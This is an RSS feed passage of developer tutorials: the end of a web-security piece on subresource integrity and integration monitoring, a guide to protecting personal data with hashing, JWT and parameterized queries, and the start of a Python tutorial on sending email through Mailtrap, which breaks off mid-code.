<p>When integrating third-party scripts (like CDNs for fonts, analytics trackers, or payment tools), use SRI tags to ensure the code hasn’t been tampered with. </p>
<p>SRI allows you to define a cryptographic hash for each file, and the browser will block any file that doesn’t match the expected fingerprint. This prevents malicious actors from swapping out legitimate scripts with compromised ones – and it adds a critical layer of trust and security to your frontend architecture.</p>
<p>Here’s how to use it:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://cdn.example.com/library.js"</span>
        <span class="hljs-attr">integrity</span>=<span class="hljs-string">"sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GhOaAbfDQ4b9PrZqKmWqlL8Amoy0WyyF8JCE4"</span>
        <span class="hljs-attr">crossorigin</span>=<span class="hljs-string">"anonymous"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<ul>
<li><p>integrity: This is the SRI hash (typically SHA-256, SHA-384, or SHA-512) of the file contents.</p>
</li>
<li><p>crossorigin: Required if the resource is hosted on a different domain. Use anonymous unless the resource requires credentials.</p>
</li>
</ul>
<p>You can generate the SRI hash using tools like <a target="_blank" href="https://www.srihash.org/">SRI Hash Generator</a> or command-line tools like openssl.</p>
<h4 id="heading-4-limit-third-party-access-to-only-the-data-and-functions-they-need">4. Limit third-party access to only the data and functions they need</h4>
<p>Just because a third-party service needs access to your data doesn't mean it should have full visibility into your systems. Apply the principle of least privilege by configuring integrations with narrow scopes – limiting permissions to only the endpoints or datasets necessary for their function. </p>
<p>For example, an email marketing tool doesn’t need access to billing data, and a CRM shouldn’t touch your backend server settings.</p>
<h4 id="heading-5-monitor-and-log-all-third-party-activity">5. Monitor and log all third-party activity</h4>
<p>Visibility is key to detecting abuse or performance issues. Ensure that all API requests and third-party interactions are logged, including timestamps, endpoints accessed, IP addresses, and payloads. </p>
<p>Use this data to detect unusual patterns (like a spike in failed requests) and respond quickly to potential breaches. Some platforms also offer rate limiting to restrict excessive or suspicious activity.</p>
<p>Let’s say you notice a spike in 401 (Unauthorized) responses from a specific IP over a short period. Your logs show repeated attempts to access a payment processing API without valid credentials.</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"timestamp"</span>: <span class="hljs-string">"2025-05-26T14:32:10Z"</span>,
  <span class="hljs-attr">"endpoint"</span>: <span class="hljs-string">"/api/v1/payments"</span>,
  <span class="hljs-attr">"method"</span>: <span class="hljs-string">"POST"</span>,
  <span class="hljs-attr">"ip"</span>: <span class="hljs-string">"192.0.2.45"</span>,
  <span class="hljs-attr">"response_code"</span>: <span class="hljs-number">401</span>
}
</code></pre>
<p>What you’d do with this data:</p>
<ul>
<li><p>Temporarily block the IP or trigger a CAPTCHA challenge.</p>
</li>
<li><p>Alert the security team or log the incident for further investigation.</p>
</li>
<li><p>Set up a rule to flag similar behavior in the future.</p>
</li>
<li><p>Consider enforcing stricter authentication or rotating API keys.</p>
</li>
</ul>
<p><strong>Pro tip:</strong> Use monitoring tools (like Datadog, New Relic, or ELK Stack) with alerting capabilities so you’re notified automatically when something suspicious happens before it escalates.</p>
<h4 id="heading-6-regularly-audit-integrations-for-outdated-or-unused-connections">6. Regularly audit integrations for outdated or unused connections</h4>
<p>Over time, your stack may accumulate unused APIs, abandoned integrations, or forgotten developer keys. These can become security liabilities if left unchecked. Periodically review all third-party connections and remove anything that’s no longer active or necessary.</p>
<p>For the services you do keep, confirm they’re still being maintained, updated, and follow modern security standards.</p>
<h2 id="heading-where-the-dark-web-dumps-your-data"><strong>Where the Dark Web Dumps Your Data</strong></h2>
<p>When hackers successfully breach a website’s database, the fallout goes far and wide past the single company or specific set of information.This threat extends to e-commerce platforms, which often collect customer data. That’s why following a solid <a target="_blank" href="https://www.spocket.co/blogs/e-commerce-security-checklist">e-commerce security checklist</a> is essential to protect sensitive information and maintain customer trust.</p>
<p>Data breaches expose usernames, passwords, payment details, home addresses, birthdates, and every form of personal data you can imagine. Once stolen, this data often doesn’t just sit on the shelf: it flies out from the dark web, the underbelly of the internet where your details are sold, traded, and shared among cybercriminals.</p>
<p>From here, public perceptions rage against brand values – and every customer’s anxiety about getting identity theft insurance starts to amplify. A reused password could become the key to Netflix, and it will do greater damage when it unlocks your Discover card, Morgan-Chase, and Coinbase accounts.</p>
<p>Every personal detail can help fuel identity theft, sharpen phishing attacks, and lead to system takeover. As organizations, sites face lawsuits, huge fines, and public scorn.</p>
<p>From one site’s database, hackers can sack thousands of emails, passwords, card numbers, phone numbers, addresses, images, documents, and more. This stolen data can get a pretty price when sold as a dark web data dump.</p>
<h2 id="heading-defend-your-data"><strong>Defend Your Data</strong></h2>
<p>No system or sign-in page is bulletproof, and cybersecurity is never done. Hackers use everything from phishing emails to malicious scripts to steal data, but every tactic has a defense.</p>
<p>The best start is following best practices – like quick updates, HTTPS-only, and sanitized forms. Every row of data stored can suddenly evolve into a complex, rampant threat to users.</p>
<p>We should all aim to save only the most necessary data, locking up our card numbers, passwords, and usernames with strong, “slow-hash” encryption.</p>
<p>Preventing damage to our business and ourselves means committing to careful online practices while we await the latest developer’s patch toward safer online pastures.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ A Developer's Guide to Protecting Personal Data: Best Practices and Tools ]]>
                </title>
                <description>
                    <![CDATA[ Think about it: you're sitting there enjoying your morning coffee, reading the headlines when again another data breach is making headlines. Millions of users' personal information – gone. You can't help but cringe as a developer at the prospect. Cou... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/developers-guide-to-protecting-personal-data/</link>
                <guid isPermaLink="false">680102ccf67e471495d5a624</guid>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ APIs ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Personal data protection ]]>
                    </category>
                
                    <category>
                        <![CDATA[ encryption ]]>
                    </category>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Databases ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Thu, 17 Apr 2025 13:31:56 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1744839185611/b3e49efc-6eee-4a0b-9522-20407b1782e3.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Think about it: you're sitting there enjoying your morning coffee, reading the headlines when again another data breach is making headlines. Millions of users' personal information – gone. You can't help but cringe as a developer at the prospect. Could it happen on your watch?</p>
<p>The reality is, keeping personal data safe isn't something you should be doing because it's good practice – it's something you have to do. Users are trusting developers to care for their data day in and day out, and power must be wielded wisely. If you're writing code that involves getting, processing, or storing someone's personal data, then you should be being proactive about keeping it safe.</p>
<p>So the question is: how do you safely keep personal data?</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<p></p><dl><p></p>
<p></p><ul><p></p>
<p></p><li><a href="heading-know-what-youre-protecting">Know What You</a></li><p></p>
<h2 id="heading-know-what-youre-protecting">Know What You're Protecting</h2>
<p>If you must protect information, first determine what information must be protected. It is crucial to <a target="_blank" href="https://blog.incogni.com/opt-out-guides/">protect sensitive information</a> from unauthorized access to ensure data security. Below is a list of some common types of sensitive data:</p>
<ul>
<li><p>Personally Identifiable Information (PII): name, address, phone number, email, Social Security number.</p>
</li>
<li><p>Financial Data: bank details, payment history, credit card number.</p>
</li>
<li><p>Authentication Data: password, auth tokens, API keys, security question responses.</p>
</li>
<li><p>Health Info: any kind of <a target="_blank" href="https://www.jotform.com/what-is-hipaa-compliance/">HIPAA</a>-protected information about the health and medical history of the user.</p>
</li>
</ul>
<p>Once you know what information has to be rendered secure, then you can go ahead and render it secure.</p>
<h2 id="heading-best-practices-in-data-security">Best Practices in Data Security</h2>
<h3 id="heading-1-encrypt-everything">1. Encrypt Everything</h3>
<p>Your best protection against hacking is encryption. When data is encrypted, even if hackers have access to it, they cannot do anything with it in the absence of the decryption key.</p>
<p>For stored sensitive information, use <strong>hashing with a salt</strong>, a process that turns a password into an irreversible value. This way, even if someone gains access to the stored data, the actual password isn't exposed.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> os

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">hash_password</span>(<span class="hljs-params">password</span>):</span>
    salt = os.urandom(<span class="hljs-number">32</span>)  <span class="hljs-comment"># Generate a new salt</span>
    hashed_password = hashlib.pbkdf2_hmac(<span class="hljs-string">'sha256'</span>, password.encode(<span class="hljs-string">'utf-8'</span>), salt, <span class="hljs-number">100000</span>)
    <span class="hljs-keyword">return</span> salt + hashed_password
</code></pre>
<p>For data in transit, always use HTTPS:</p>
<pre><code class="lang-bash">sudo certbot --nginx -d yourdomain.com
</code></pre>
<p>This ensures data is encrypted between your server and the user. You can also reduce how often data is in transit by using <a target="_blank" href="https://www.suse.com/c/what-is-edge-computing/">edge computing</a>. Rather than sending sensitive data to external servers, increasing risk, it allows data to be stored and processed locally.</p>
<h3 id="heading-2-perform-secure-authentication">2. Perform Secure Authentication</h3>
<p>Weak authentication is an extremely critical security vulnerability.</p>
<p><strong>Authentication</strong> is the process of verifying who a user is (for example, logging in), while <strong>authorization</strong> is verifying what they're allowed to do (for example, access admin features).</p>
<p>Make sure that you:</p>
<ul>
<li><p>Perform strong password habits.</p>
</li>
<li><p>Perform multi-factor authentication (MFA). MFA requires users to present two or more verification factors (for example password and one-time code from a mobile device), making it much harder for attackers to gain access.</p>
</li>
<li><p>Perform OAuth 2.0 or OpenID Connect third-party authentication. These are secure industry-standard protocols that allow users to authenticate via trusted platforms like Google or Facebook, reducing the need to store credentials yourself.</p>
</li>
</ul>
<p>Example: Here’s an authentication setup using JWT (JSON Web Tokens) in Python:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> jwt
<span class="hljs-keyword">import</span> datetime

SECRET_KEY = <span class="hljs-string">"your_secret_key"</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_token</span>(<span class="hljs-params">user_id</span>):</span>
    payload = {
        <span class="hljs-string">"user_id"</span>: user_id,
        <span class="hljs-string">"exp"</span>: datetime.datetime.utcnow() + datetime.timedelta(hours=<span class="hljs-number">1</span>)
    }
    <span class="hljs-keyword">return</span> jwt.encode(payload, SECRET_KEY, algorithm=<span class="hljs-string">'HS256'</span>)
</code></pre>
<p>This function generates a secure token for a user. The token contains the user ID and an expiration time, and it's signed using a secret key. Clients send this token with each request, and servers verify it to ensure the request comes from an authenticated user.</p>
<h3 id="heading-3-minimize-the-data-you-need-to-store">3. Minimize the Data You Need to Store</h3>
<p>One of the simplest things you can do to protect personal data? Store less than you have to. Consider the following questions:</p>
<ul>
<li><p>Do I really need to store this data?</p>
</li>
<li><p>How long do I really need to keep it for?</p>
</li>
<li><p>Can I anonymise it?</p>
</li>
</ul>
<p>For example, if you are going to need analytics, consider deleting personal identifiers prior to storing the data:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> anonymizeData = <span class="hljs-function">(<span class="hljs-params">user</span>) =&gt;</span> {
    <span class="hljs-keyword">return</span> {
        <span class="hljs-attr">sessionId</span>: generateRandomId(),
        <span class="hljs-attr">event</span>: user.event,
        <span class="hljs-attr">timestamp</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().toISOString()
    };
};
</code></pre>
<p>This JavaScript function removes identifying information (like name or email) and replaces it with a random session ID, keeping only the data necessary for analytics.</p>
<p>For instance, if you manage email lists, avoid storing unnecessary subscriber data beyond what is required for communication.</p>
<p>Regularly clean and scrub email lists to remove outdated or inactive addresses. Sending emails to outdated/inactive addresses can damage your domain reputation, leading to blacklisting and email deliverability issues. If you only need email addresses for temporary campaigns, consider <a target="_blank" href="https://support.google.com/a/answer/151128?hl=en">automated deletion policies</a> to remove old data.</p>
<h3 id="heading-4-secure-your-apis">4. Secure Your APIs</h3>
<p>If your application is consuming other services, protect your API endpoints. You can do this by:</p>
<ul>
<li><p><strong>Require tokens or API keys</strong>: These act as credentials to access the API and prevent unauthorized use.</p>
</li>
<li><p><strong>Implement rate limiting to deter abuse</strong>: This prevents attackers from flooding your server with too many requests.</p>
</li>
<li><p><strong>Validate and sanitize all input data</strong>: This protects against injection attacks and malformed inputs.</p>
</li>
</ul>
<p>Here's how you can validate API input in Node.js:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> app = express();

app.post(<span class="hljs-string">'/api/data'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> { name, email } = req.body;
    <span class="hljs-keyword">if</span> (!name || !email.includes(<span class="hljs-string">'@'</span>)) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'Invalid input'</span>);
    }
    res.send(<span class="hljs-string">'Data received'</span>);
});
</code></pre>
<p>This ensures the API receives valid data and returns an error for incorrect input, which is a basic form of input sanitization.</p>
<h3 id="heading-5-lock-down-your-database">5. Lock Down Your Database</h3>
<p>Your database is an attack treasure trove, so lock it down:</p>
<ul>
<li><p><strong>Use parameterized queries</strong> to prevent SQL injection. These queries separate data from code.</p>
</li>
<li><p><strong>Limit database access using role-based permissions</strong>: Only give each user or service the access it needs—no more.</p>
</li>
<li><p><strong>Back up and test restoration procedures</strong>: Regular backups ensure you can recover data in the event of a breach or corruption.</p>
</li>
</ul>
<p>Here's a safe way to query a database in Python:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> sqlite3

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_user</span>(<span class="hljs-params">email</span>):</span>
    conn = sqlite3.connect(<span class="hljs-string">'database.db'</span>)
    cursor = conn.cursor()
    cursor.execute(<span class="hljs-string">"SELECT * FROM users WHERE email = ?"</span>, (email,))
    <span class="hljs-keyword">return</span> cursor.fetchone()
</code></pre>
<p>This example uses a parameterized query (the ? placeholder) to safely insert the email into the SQL command, protecting against injection.</p>
<p>Also, never overlook how databases and internal systems might be accessed remotely. Remote access, whether for IT admins, support teams, or mobile workers, often involves logging in from unfamiliar devices—which introduces new security challenges. Tools that allow for secure, contactless logins without typing passwords or installing software on the remote machine reduce the risk of credential theft.</p>
<p>You can also ensure that remote database connections, SSH access, and admin panels are protected with strong authentication, IP restrictions, and, ideally, VPN access to avoid exposing sensitive entry points to the internet.</p>
<p>And remember, you don’t have to reinvent the wheel—there are <a target="_blank" href="http://blog.scalefusion.com/best-data-protection-software/">powerful data protection tools</a> available to keep your data safe from breaches and downtime. Want to know which ones stand out? Check out this guide for a breakdown of some of the best solutions.</p>
<h3 id="heading-6-periodically-audit-and-update-your-code">6. Periodically Audit and Update Your Code</h3>
<p>Unpatched software and outdated dependencies are essentially an open invitation to the attackers. Update your software and conduct security audits regularly.</p>
<p>Perform security scans for your project:</p>
<pre><code class="lang-javascript">npm audit fix --force  # For Node.js projects
</code></pre>
<pre><code class="lang-python">pip install --upgrade package_name  <span class="hljs-comment"># For Python projects</span>
</code></pre>
<p>These commands help find and fix known vulnerabilities in your project dependencies.</p>
<h3 id="heading-7-train-your-employees">7. Train Your Employees</h3>
<p>Your security is just as strong as your weakest link. If one employee handles sensitive data irresponsibly, everything else may have been for naught.</p>
<ul>
<li><p><strong>Standard security training</strong>: Regular sessions on topics like phishing, password security, and data handling.</p>
</li>
<li><p><strong>Implement solid policies on user data handling</strong>: For instance, never download sensitive data to personal devices.</p>
</li>
<li><p><strong>Establish a security-oriented culture</strong>: Encourage reporting of suspicious activity, regular internal audits, and open communication about threats.</p>
</li>
</ul>
<h3 id="heading-8-give-users-control-over-their-data">8. Give Users Control Over Their Data</h3>
<p>Transparency breeds trust. Give users control to:</p>
<ul>
<li><p>View and download their data.</p>
</li>
<li><p>Terminate their account easily.</p>
</li>
<li><p>Make adjustments in privacy settings.</p>
</li>
</ul>
<p>If you are collecting data, provide an opt-out. Users must be able to protect sensitive data and be in control of what becomes of their information. This is why it is important to have a privacy policy: users need to know what data you are collecting and for what purpose. Check out this <a target="_blank" href="https://www.iubenda.com/en/help/36387-privacy-policy-template">privacy policy template</a> if you need to create one for your site.</p>
<h2 id="heading-final-thoughts">Final Thoughts</h2>
<p>Data protection isn't just about coding well—it's about attitude. Get in the head of an attacker for a day, minimize vulnerabilities, and put user privacy at the top of your mind.</p>
<p>So the next time you're scanning the headlines for news of the latest ginormous data breach, you can be confident that your apps are bulletproof. Be smart, continue to learn, and let's make the internet safe—one line of secure code at a time.</p>
</ul></dl> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Send Emails in Python using Mailtrap SMTP and the Email API ]]>
                </title>
                <description>
                    <![CDATA[ In this tutorial, I’ll walk you through the process of sending emails in Python using two different methods:  The traditional SMTP setup with the built-in ‘smtplib’ module.  Mailtrap email API via Mailtrap’s official SDK.  If you’re unfamiliar wi... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/send-emails-in-python-using-mailtrap-smtp-and-the-email-api/</link>
                <guid isPermaLink="false">67e6ab43aa64aee164e7985e</guid>
                
                    <category>
                        <![CDATA[ Phyton ]]>
                    </category>
                
                    <category>
                        <![CDATA[ smtp ]]>
                    </category>
                
                    <category>
                        <![CDATA[ mailtrap ]]>
                    </category>
                
                    <category>
                        <![CDATA[ api ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Fri, 28 Mar 2025 13:59:31 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743110284000/6fb2a037-ddca-4625-acfb-cffbd167ec55.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In this tutorial, I’ll walk you through the process of sending emails in Python using two different methods: </p>
<ol>
<li><p>The traditional SMTP setup with the built-in ‘smtplib’ module. </p>
</li>
<li><p>Mailtrap email API via Mailtrap’s official SDK. </p>
</li>
</ol>
<p>If you’re unfamiliar with the tools and workflows, SMTP (Simple Mail Transfer Protocol) is the protocol commonly used for sending emails via apps and websites. Mailtrap is an email delivery platform designed for high deliverability with growth-focused features and industry-best analytics. </p>
<p>By the end of the article, you’ll understand how to integrate email-sending capabilities into Python projects and use Mailtrap for reliable email delivery in real-world scenarios.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ol>
<li><p><a class="post-section-overview" href="#heading-smtplib-setup">'smtplib' Setup</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-send-emails-with-mailtrap-smtp">How to Send emails with Mailtrap SMTP</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-send-emails-with-the-mailtrap-email-api">How to Send emails with the Mailtrap Email API</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-wrapping-up">Wrapping Up</a></p>
</li>
</ol>
<h2 id="heading-smtplib-setup">‘smtplib’ Setup</h2>
<p>To start sending emails with Python, I'll first use the built-in ‘smtplib’ module. This lets you connect to an SMTP server and send emails directly from your app. </p>
<p>So, start by importing the ‘smtplib’ module with the statement below:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> smtplib
</code></pre>
<p>Next, create an ‘SMTP’ object to configure the connection to your SMTP server. This object handles the email sending. </p>
<pre><code class="lang-python">smtpObj = smtplib.SMTP(host, port)
</code></pre>
<ul>
<li><p>‘host’ refers to the SMTP server endpoint, such as ‘live.smtp.mailtrap.io’</p>
</li>
<li><p>‘port’ is the communication channel used by the server. The recommended port is usually 587 for secure email sending with TLS encryption. </p>
</li>
</ul>
<p><strong>Pro tip</strong>: An SMTP object has a ‘sendmail’ instance object with three parameters, where each parameter is a string (‘receivers’ is a list of strings). </p>
<pre><code class="lang-python">smtpObj.sendmail(sender, receivers, message)
</code></pre>
<p>If you want to ensure you’ve properly imported the ‘smtplib’ module and check the full description of arguments and classes, run the following command:</p>
<pre><code class="lang-python">help(smtplib)
</code></pre>
<h2 id="heading-how-to-send-emails-with-mailtrap-smtp">How to Send emails with Mailtrap SMTP</h2>
<p>This method involves setting up the custom SMTP credentials you get for Mailtrap.</p>
<p><strong>Important notes</strong>: </p>
<ul>
<li><p><strong>Testing out the service with Mailtrap’s dummy domain</strong> – To try Mailtrap, you don’t need to verify your domain right away. You can use Mailtrap’s dummy domain (you get access to it when you sign up), which allows you to simulate sending emails without worrying about the DNS records. This is ideal for testing the service and getting familiar with Mailtrap’s features.  </p>
</li>
<li><p><strong>Domain verification for production</strong> – If you plan to send real emails to recipients, you’ll need to verify your domain. This involves adding DNS records such as SPF, DKIM, and <a target="_blank" href="https://dmarcreport.com/">DMARC</a> to your domain provider’s DNS settings. These records ensure your emails are delivered successfully and help protect against phishing and spoofing. In the next section, I'll show you how to set these up in your domain provider's dashboard. </p>
</li>
</ul>
<h3 id="heading-verify-your-sending-domain-spf-dkim-and-dmarc">Verify your sending domain (SPF, DKIM, and DMARC)</h3>
<p>DNS records are critical to ensure your emails are delivered successfully, and mailbox providers such as Gmail and Yahoo require DNS authentication. </p>
<p>But before we go through a quick tutorial on how to do it, let’s review each type of record so you understand why they’re so important:</p>
<ul>
<li><p><strong>SPF (Sender Policy Framework)</strong>: The record helps mail servers determine if the sender’s IP address is authorized to send emails from your domain. Simply, adding an SPF record prevents spammers from sending emails that appear to come from your domain. </p>
</li>
<li><p><strong>DKIM (DomainKeys Identified Mail)</strong>: DKIM uses encryption to verify the sender's domain and ensures that the email content hasn't been tampered with during transmission. This protects your emails from being spoofed. </p>
</li>
<li><p><strong>DMARC (Domain-based Message Authentication, Reporting &amp; Conformance)</strong>: DMARC ties SPF and DKIM together, providing a policy for handling unauthenticated emails and reporting on email activities. In a nutshell, it gives you more control over your domain’s email security. </p>
</li>
</ul>
<p>Now, here’s how to add the records: </p>
<ol>
<li><p>First, you need to access your domain provider's DNS settings. Usually, you can access them in the domain register or domain settings. For example, GoDaddy calls the menu Manage DNS, and it's dubbed similarly with other providers. </p>
</li>
<li><p>Next, add (copy-paste) the DNS records Mailtrap provides into your domain provider's DNS settings. Note that Mailtrap's records are read-made, and SPF is pre-parsed, so you don't need to create anything additional – just add the records. </p>
</li>
</ol>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfHx2AAc87krxYh7twU5Ypuz-Iu6gklvJeVBzpdgptvfc7B9g7X3BBnqWai8n47HTDJrj1rZ2ny0jfscJJYgAAFcuEsZeVqYO2OellzvQgaXMjnMMxIeOoPGF0ildRbecEi7rjPbg?key=CJmzmKUWxlFjIw3A041wXvaj" alt="Screenshot showing domain verification" width="1600" height="1175" loading="lazy"></p>
<ol start="3">
<li>Finally, you can check the status of your records with Mailtrap. </li>
</ol>
<p>Below is the bare-bones script for sending emails via Mailtrap using Python. For security reasons, the script uses placeholder credentials for the username and password (except for the SMTP server endpoint and port).</p>
<p>When running the script, be sure to replace these placeholders with your actual Mailtrap credentials to ensure the email is sent successfully. </p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> smtplib
<span class="hljs-keyword">from</span> email.mime.text <span class="hljs-keyword">import</span> MIMEText

<span class="hljs-comment"># Configuration</span>
port = <span class="hljs-number">587</span>
smtp_server = <span class="hljs-string">"live.smtp.mailtrap.io"</span>
login = <span class="hljs-string">"api"</span>  <span class="hljs-comment"># Your login generated by Mailtrap</span>
password = <span class="hljs-string">"1a2b3c4d5e6f7g"</span>  <span class="hljs-comment"># Your password generated by Mailtrap</span>

sender_email = <span class="hljs-string">"mailtrap@example.com"</span>
receiver_email = <span class="hljs-string">"new@example.com"</span>

<span class="hljs-comment"># Plain text content</span>
text = <span class="hljs-string">"""\
Hi,
Check out the new post on the Mailtrap blog:
SMTP Server for Testing: Cloud-based or Local?
https://blog.mailtrap.io/2018/09/27/cloud-or-local-smtp-server/
Feel free to let us know what content would be useful for you!
"""</span>

<span class="hljs-comment"># Create MIMEText object</span>
message = MIMEText(text, <span class="hljs-string">"plain"</span>)
message[<span class="hljs-string">"Subject"</span>] = <span class="hljs-string">"Plain text email"</span>
message[<span class="hljs-string">"From"</span>] = sender_email
message[<span class="hljs-string">"To"</span>] = receiver_email

<span class="hljs-comment"># Send the email</span>
<span class="hljs-keyword">with</span> smtplib.SMTP(smtp_server, port) <span class="hljs-keyword">as</span> server:
    server.starttls()  <span class="hljs-comment"># Secure the connection</span>
    server.login(login, password)
    server.sendmail(sender_email, receiver_email, message.as_string())

print(<span class="hljs-string">'Sent'</span>)
</code></pre>
<p><strong>In the script</strong>:</p>
<ul>
<li><p>The ‘smtplib’ and ‘MIMEText’ modules have been imported from Python’s library. </p>
</li>
<li><p>As mentioned, SMTP server configuration needs to be updated with your credentials. But the server endpoint and port are as is. </p>
</li>
<li><p>Since this is a bare-bones script, I used ‘MIMEText’, which holds ‘plaintext’ only. But the script can be easily refactored to use ‘MIMEMultipart’ for both ‘plaintext’ and ‘HTML’. Jump to the quick tut below to see how it’s done. </p>
</li>
<li><p>When sending the email, I chose to use the ‘with’ statement (context manager) to ensure the SMTP server connection gets closed right after the email gets sent. </p>
</li>
</ul>
<p><strong>Security tip</strong>: </p>
<p>Server information and the login credentials shouldn't be hardcoded into your sending script. When setting the script for production, make sure you use environment variables to store sensitive information. This makes the code more secure and more flexible, particularly when you move it between different dev stages. For example ⬇️</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> os

smtp_server = os.getenv(<span class="hljs-string">"SMTP_SERVER"</span>, <span class="hljs-string">"default.smtp.server"</span>)
login = os.getenv(<span class="hljs-string">"SMTP_LOGIN"</span>)
password = os.getenv(<span class="hljs-string">"SMTP_PASSWORD"</span>)

<span class="hljs-comment"># Example usage in an SMTP connection setup</span>
<span class="hljs-comment"># smtp.login(login, password)</span>
</code></pre>
<p>Note that you need to set the variables in your operating system prior to running the script. </p>
<h3 id="heading-refactor-the-script-to-use-html-emails">Refactor the script to use HTML emails</h3>
<p>HTML emails provide a better user experience. They allow you to include formatted text, images, tables, clickable links, and custom styling. This works great for marketing emails, newsletters, or any communication where design and branding matter. </p>
<p>So, to refactor the script, you would import ‘MIMEMultipart’ and ‘MIMEText’. This action allows you to customize the HTML emails yet keep the plain-text versions as a fallback if your recipients cannot open the HTML email. </p>
<p>Here’s the revised script:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> smtplib
<span class="hljs-keyword">from</span> email.mime.multipart <span class="hljs-keyword">import</span> MIMEMultipart
<span class="hljs-keyword">from</span> email.mime.text <span class="hljs-keyword">import</span> MIMEText

<span class="hljs-comment"># Configuration</span>
smtp_server = <span class="hljs-string">"live.smtp.mailtrap.io"</span>
port = <span class="hljs-number">587</span>
login = <span class="hljs-string">"api"</span>  <span class="hljs-comment"># Mailtrap login</span>
password = <span class="hljs-string">"1a2b3c4d5e6f7g"</span>  <span class="hljs-comment"># Mailtrap password</span>

sender_email = <span class="hljs-string">"mailtrap@example.com"</span>
receiver_email = <span class="hljs-string">"new@example.com"</span>

message = MIMEMultipart()
message[<span class="hljs-string">"From"</span>] = sender_email
message[<span class="hljs-string">"To"</span>] = receiver_email
message[<span class="hljs-string">"Subject"</span>] = <span class="hljs-string">"HTML Email"</span>

<span class="hljs-comment"># Add plain text content (optional, for email clients that don't render HTML)</span>
message.attach(MIMEText(<span class="hljs-string">"This is a plain text version of the email."</span>, <span class="hljs-string">"plain"</span>))

<span class="hljs-comment"># Add HTML content</span>
html_content = <span class="hljs-string">"""\
&lt;html&gt;
  &lt;body&gt;
    &lt;h1&gt;Welcome to Mailtrap!&lt;/h1&gt;
    &lt;p&gt;This is an example of an HTML email.&lt;/p&gt;
  &lt;/body&gt;
&lt;/html&gt;
"""</span>
message.attach(MIMEText(html_content, <span class="hljs-string">"html"</span>))

<span class="hljs-comment"># Send the email</span>
<span class="hljs-keyword">with</span> smtplib.SMTP(smtp_server, port) <span class="hljs-keyword">as</span> server:
    server.starttls()
    server.login(login, password)
    server.sendmail(sender_email, receiver_email, message.as_string())

print(<span class="hljs-string">'Sent'</span>)
</code></pre>
<p>Lastly, I’ve included video instructions for the SMTP method – so if that works better for you, feel free to check it out 🔽. </p>
<p><a target="_blank" href="https://www.youtube.com/watch?v=ufLpTc9up8s&amp;t=1s">How to send email in Python using Mailtrap - Tutorial by Mailtrap</a></p>
<h2 id="heading-how-to-send-emails-with-the-mailtrap-email-api">How to Send emails with the Mailtrap email API</h2>
<p>If you're looking to move beyond using SMTP for sending emails and want to integrate Mailtrap’s email API into your Python applications, this section will walk you through how to do that. </p>
<p>The Mailtrap <a target="_blank" href="https://mailtrap.io/smtp-api/">SMTP email API</a> allows you to send emails more efficiently, with added flexibility and scalability. Before starting, make sure you have a verified sending domain on Mailtrap and the Mailtrap API token, which you’ll use to authenticate requests.</p>
<p><strong>Note</strong>: I’m covering the API integration using the official Mailtrap Python SDK. </p>
<p>So, first you install the official SDK with the command below. </p>
<pre><code class="lang-python">pip install mailtrap
</code></pre>
<p><strong>Prerequisite</strong>: Ensure your Python package version is 3.6+ or higher. </p>
<p>After installing the SDK, the next step is to create a Mail object. This object will represent the email you want to send, including essential details like the sender, recipient, subject, and email content. </p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> mailtrap <span class="hljs-keyword">as</span> mt

<span class="hljs-comment"># Create the mail object</span>
mail = mt.Mail(
    sender=mt.Address(email=<span class="hljs-string">"mailtrap@example.com"</span>, name=<span class="hljs-string">"Mailtrap Test"</span>),  <span class="hljs-comment"># Sender info</span>
